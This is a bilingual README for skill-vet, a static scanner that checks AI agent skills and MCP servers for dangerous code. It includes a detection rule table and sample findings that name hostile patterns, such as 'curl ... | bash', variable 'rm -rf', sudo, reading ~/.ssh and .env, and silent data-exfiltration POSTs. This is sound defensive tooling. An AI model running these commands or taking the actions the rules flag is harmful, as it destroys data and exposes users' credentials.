skill-vet 0.1.0

Security scanner for AI agent skills — like `npm audit` for skills

🔍 skill-vet

🛡️ "npm audit" for AI Agent Skills & MCP Servers.
Scan third-party skill directories for malicious code and dangerous patterns before they touch your local machine.

---

English | 中文说明

---

Why?

AI agents (like Cline, Roo-Code, and AutoGPT) and MCP (Model Context Protocol) servers are incredibly powerful because they can read files, write code, and execute terminal commands on your local machine.

However, running untrusted, third-party skills or auto-generated scripts is a major security hazard. A careless or malicious skill can easily:

• 💣 Run destructive deletes (rm -rf with dynamic variables)
• 📡 Pipe remote scripts directly into bash (curl | bash)
• 🔑 Exfiltrate your .env files and SSH credentials
• 🔓 Privilege-escalate via raw sudo commands
• 🤫 Silently POST your sensitive local data to rogue endpoints

skill-vet acts as a security firewall. It performs instant, zero-dependency static scanning to catch these vectors before they can ever execute.

---

为什么需要 skill-vet?

在 AI 智能体时代，Cline、Roo-Code、AutoGPT 等智能体以及 MCP (Model Context Protocol) 服务器极大地解放了生产力——因为它们可以直接在你的本地机器上读写文件、甚至执行终端命令。

但硬币的另一面是：运行未受信任的第三方技能或大模型自主生成的代码，等同于在本地安全“裸奔”。 一个存在缺陷或恶意的 AI 技能可以轻易做到：

• 💣 危险删除：以动态变量执行 rm -rf 误删系统或个人文件；
• 📡 远程投毒：直接拉取远程脚本管道运行 (curl | bash)；
• 🔑 密钥窃取：暗中读取并上传你的 .env 环境变量与 SSH 密钥；
• 🔓 越权提权：使用 sudo 绕过本地权限限制；
• 🤫 隐私外泄：通过静默 HTTP POST 请求将你的本地资产外泄。

skill-vet 就是专为 AI 技能打造的本地安全防火墙。通过极速、零依赖的静态代码审计，在这些危险指令执行之前，就将其彻底拦截。

---

🚀 Quick Start

Installation

pip install skill-vet

Basic Usage

# Scan a single skill directory
skill-vet ./skills/my-skill/

# Batch scan ALL skills in a parent directory
skill-vet --batch ./skills/

# JSON output for CI/CD or automation integrations
skill-vet --json ./skills/my-skill/ | jq .

# Custom fail-safe rules (exit code 1 on any P1+ severity findings)
skill-vet --fail-on P1 ./skills/my-skill/

---

💻 Example Output

Single Directory Scan Output

  🔴 [P0] scripts/cleanup.sh:3  destructive-rm
     Match : rm -rf /tmp/$DIR
     Issue : destructive recursive deletion with variable path

  🔴 [P0] SKILL.md:12  curl-pipe-shell
     Match : curl -sSL https://example.com/install.sh | bash
     Issue : remote script execution pattern (curl pipe shell)

  🟡 [P1] scripts/export.py:42  network-call-no-auth
     Match : requests.post("https://api.example.com/data", json=payload)
     Issue : external network call without visible auth handling

  ─────────────────────────────
  Summary: 3 finding(s)
    🔴 P0: 2
    🟡 P1: 1
  ⛔ Deployment blocked — 2 P0 finding(s)

Batch Scan Output

$ skill-vet --batch ./skills/

  Skill                                    P0   P1   P2
  ────────────────────────────────────   ──── ──── ────
  🔴 dangerous-skill                        6    ·    ·
  🔴 order-folder-analytics                 2    ·    ·
  🟡 xiaohongshu-ai-hotspots                ·    3    ·
  ✅ fanqie-novel-writing                   ·    ·    ·
  ✅ image-prompt-engineer                  ·    ·    ·
  ────────────────────────────────────   ──── ──── ────
  Total                                     8    3    0
  ⛔ 8 P0 finding(s) — review before trusting

---

🛡️ Severity Levels

Level	Action	Examples
🔴 P0	Block	rm -rf, sudo, curl | bash, exposed secrets, os.system(), shell injection
🟡 P1	Warn	Network calls without auth, sensitive path writes, SQL injection, data exfiltration
⬜ P2	Note	Wildcard deletes, dynamic imports, stdin reads, hardcoded IPs

---

🔍 19 Built-in Rules

#	Rule Name	Severity	What it catches
1	destructive-rm	🔴 P0	Dangerous rm -rf operations
2	sudo-execution	🔴 P0	Unauthorized sudo elevation attempts
3	curl-pipe-shell	🔴 P0	Remote bash piping patterns (curl ... | bash)
4	eval-injection	🔴 P0	Dynamic code execution (eval() / exec())
5	pickle-deserialize	🔴 P0	Unsafe deserialization risks via pickle.load()
6	os-system-call	🔴 P0	Direct command shells executed via os.system()
7	subprocess-shell	🔴 P0	Python subprocess executed with shell=True
8	sensitive-file-read	🔴 P0	Accessing sensitive credentials like ~/.ssh, .env
9	api-key-leak	🔴 P0	Hardcoded API keys, tokens, or credentials
10	network-call-no-auth	🟡 P1	Raw HTTP calls with no authentication context
11	write-sensitive-paths	🟡 P1	Unauthorized writes to system directories or root
12	implicit-file-access	🟡 P1	Secretive filesystem reads without user paths
13	child-process-exec	🟡 P1	Node.js dynamic commands via child_process.exec()
14	sql-injection-risk	🟡 P1	Unescaped SQL queries and formatted string inputs
15	silent-data-exfil	🟡 P1	Secretive POST requests carrying local payloads
16	stdin-read	⬜ P2	Programmatic terminal reads
17	file-delete-glob	⬜ P2	Unsafe dynamic deletes using wildcard globs
18	import-hazard	⬜ P2	Dynamic Python module loading using __import__()
19	hardcoded-ip	⬜ P2	Embedded raw IP addresses

---

⚙️ CI/CD & Hook Integration

1. GitHub Actions Integration

Prevent risky skills from being merged into your repository by adding this workflow to .github/workflows/skill-scan.yml:

name: Scan AI Skills
on: [push, pull_request]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.10'
      - name: Run skill-vet
        run: |
          pip install skill-vet
          skill-vet --batch --fail-on P1 ./skills/

2. Pre-commit Git Hook Integration

Stop secrets or dynamic script execution files from being committed in your local repository. Add this hook to your .pre-commit-config.yaml:

repos:
  - repo: https://github.com/checkzhao8888/skill-vet
    rev: v0.1.0
    hooks:
      - id: skill-vet

---

⚖️ vs Alternatives

Feature / Aspect	skill-vet	Generic SAST Tools	LLM-based Scans	Manual Review
Purpose-built for Skills & Agent Tools	✅ Yes	❌ No	❌ No	❌ No
Zero False Positives in Documentation	✅ Yes (docs-aware)	❌ No	❌ No	—
CI/CD Integration Native	✅ Yes	✅ Yes	❌ No	—
Free & Open Source	✅ Yes	⚠️ Limited	❌ Paid	—
Instant Execution (Millisecond Level)	✅ Yes	✅ Yes	❌ Slow	❌ Very Slow
19+ Tailored Rules	✅ Yes	❌ No	⚠️ Halucinates	—

---

🗺️ Roadmap

• CLI & Batch scanning options
• JSON and raw text reporting structures
• Native GitHub Actions setup
• Native pre-commit hooks support
• User-defined custom rules configuration (.skillvetrc)
• VS Code Extension for real-time safety warnings
• Severity overrides per custom folders
• HTML interactive report generators

---

📄 License

MIT © 2026 checkzhao8888. Feel free to learn, fork, and build upon this! (AI agent security requires a collective effort to thrive. Contributions are welcome!)